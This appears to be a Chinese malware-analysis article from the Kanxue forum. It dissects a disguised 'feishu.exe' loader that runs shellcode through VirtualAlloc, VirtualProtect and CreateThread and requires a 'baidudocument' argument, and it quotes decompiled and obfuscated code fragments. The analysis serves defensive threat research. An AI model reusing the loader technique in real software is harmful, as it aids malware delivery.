00000277401DAD80 2D 73 68 61 6E 67 68 61 69 2E 61 6C 69 79 75 6E -shanghai.aliyun
00000277401DAD90 63 73 2E 63 6F 6D 3C 2F 48 6F 73 74 49 64 3E 0A cs.com</HostId>.
00000277401DADA0 20 20 3C 42 75 63 6B 65 74 4E 61 6D 65 3E 66 69 <BucketName>fi
00000277401DADB0 73 68 2D 31 32 33 3C 2F 42 75 63 6B 65 74 4E 61 sh-123</BucketNa
00000277401DADC0 6D 65 3E 0A 20 20 3C 45 43 3E 30 30 31 35 2D 30 me>. <EC>0015-0
00000277401DADD0 30 30 30 30 31 30 31 3C 2F 45 43 3E 0A 20 20 3C 0000101</EC>. <
00000277401DADE0 52 65 63 6F 6D 6D 65 6E 64 44 6F 63 3E 68 74 74 RecommendDoc>htt
00000277401DADF0 70 73 3A 2F 2F 61 70 69 2E 61 6C 69 79 75 6E 2E ps://api.aliyun.
00000277401DAE00 63 6F 6D 2F 74 72 6F 75 62 6C 65 73 68 6F 6F 74 com/troubleshoot
00000277401DAE10 3F 71 3D 30 30 31 35 2D 30 30 30 30 30 31 30 31 ?q=0015-00000101
00000277401DAE20 3C 2F 52 65 63 6F 6D 6D 65 6E 64 44 6F 63 3E 0A </RecommendDoc>.
00000277401DAE30 3C 2F 45 72 72 6F 72 3E 0A 00 AD BA 0D F0 AD BA </Error>...º.ð.º
微步上已经有相关样本记录(f495f57d4ad156d7e31a40d20952220d4933e8658f2db4c62c3b7f555beffc2d),再次感谢第一位提交的并且分析样本的师傅,他的首发文章:https://xz.aliyun.com/t/14610

将文件放到C:\Users\Public\Downloads\feishu.exe。

恶意跳板loader装载

经过一系列寄存器取值操作,最后使用SHELLEXECUTEW调用程序,携带参数baidudocument。

if ( (__int64)ShellExecuteW(0i64, L"open", v57, (LPCWSTR)v56, 0i64, 1) <= 32 )


恶意跳板loader

现在我们已经把恶意文件下载下来了,以下是他的基本信息(为什么这位大哥这么喜欢文件说明和图标名称对不上,强迫症犯了)。



首先观察静态代码,可以发现非常平坦化,估计用ollvm混淆过了。

观察到其中的关键代码,shellcode创建线程。
v76 = VirtualAlloc(0i64, dwSize, 0x1000u, 4u);
v77 = v76;
if ( v76 )
{
memcpy(v76, v75, v113);
if ( VirtualProtect(v77, dwSize, 0x20u, &flOldProtect) )
{
if ( v75 != i )
i = v75;
Src[1] = i;
Thread = CreateThread(0i64, 0i64, StartAddress, v77, 0, 0i64);
v74 = Thread;
if ( Thread )
{
WaitForSingleObject(Thread, 0xFFFFFFFF);
CloseHandle(v74);
混淆后的代码很难看,这里找到了一个之前一样的字符串混淆方式(按位循环,中间数据不变,提取尾部数据到头部向前一位偏移,头部)。
v16 = "0111000101101100100110100101000101010111000100000000001111111001101101101011111010111001110010010011110000110100"
"0010000011010010111101111001101101111101010100110101111011111011111000101001000110110000010000101110111000010110"
"1101101010000101101110100011000000011100110000110001011010111101111011111110011000011010011001001100101100100000"
"1001101000110001100010111110110001010001111001010111010011011101100001001100000010101111001110000010011100101011"
"0100111001001111110010111110001010111000000110010101110110110111111110111101011110111111010110100010101010100101"
"1100110001111101001000110010001111111000001101010101100101010111001000001100011111001011110101111100000011100110"
"010011100110001001111110001101111011001100111110111101";
v17 = 5i64;
do
{
*(_OWORD *)v15 = *(_OWORD *)v16;
*((_OWORD *)v15 + 1) = *((_OWORD *)v16 + 1);
*((_OWORD *)v15 + 2) = *((_OWORD *)v16 + 2);
*((_OWORD *)v15 + 3) = *((_OWORD *)v16 + 3);
*((_OWORD *)v15 + 4) = *((_OWORD *)v16 + 4);
*((_OWORD *)v15 + 5) = *((_OWORD *)v16 + 5);
*((_OWORD *)v15 + 6) = *((_OWORD *)v16 + 6);
v15 += 128;
*((_OWORD *)v15 - 1) = *((_OWORD *)v16 + 7);
v16 += 128;
--v17;
}
while ( v17 );
*(_OWORD *)v15 = *(_OWORD *)v16;
*((_OWORD *)v15 + 1) = *((_OWORD *)v16 + 1);
*((_OWORD *)v15 + 2) = *((_OWORD *)v16 + 2);
*((_OWORD *)v15 + 3) = *((_OWORD *)v16 + 3);
*((_OWORD *)v15 + 4) = *((_OWORD *)v16 + 4);
*((_DWORD *)v15 + 20) = *((_DWORD *)v16 + 20);
*((_WORD *)v15 + 42) = *((_WORD *)v16 + 42);
v14[726] = 0;
顺着loader执行进去的x64dbg可以直接查看,但是我执行的时候报错,位数出问题,我这里直接用x64dbg跑feishu.exe了。

有个前提,必须携带baidudocument参数。
 
if ( argc == 1 )
return 0;
我这里选择用x64dbg改变命令行。



遗憾结束

由于发现时间滞后了,云资源已经撤销,暂时没有在互联网和情报社区找到最后的shellcode的txt,于是到此结束。

这个样本的亮点就是反沙箱,反虚拟机,以及其中奇奇怪怪的加密,当然我感觉这个混淆其实就看脑洞了。

看雪ID:天堂猪0ink

https://bbs.kanxue.com/user-home-959762.htm

*本文为看雪论坛精华文章,由 天堂猪0ink 原创,转载请注明来自看雪社区

# 往期推荐

1、记由长城杯初赛Time_Machine掌握父子进程并出题

2、从Clang到Pass加载与执行的流程

3、OLLVM混淆源码解读

4、VMProtect保护壳爆破步骤详解(入门级)

5、Attitude Adjustment -- Fast Quaternion Attitude

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458561661&idx=1&sn=daaa415aa700e0df08bb13330b007415&chksm=b18d9cf786fa15e1c62cc8101bc78a3cb1ec5bb536301cd6079d487550b35950f8e7293d2929&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh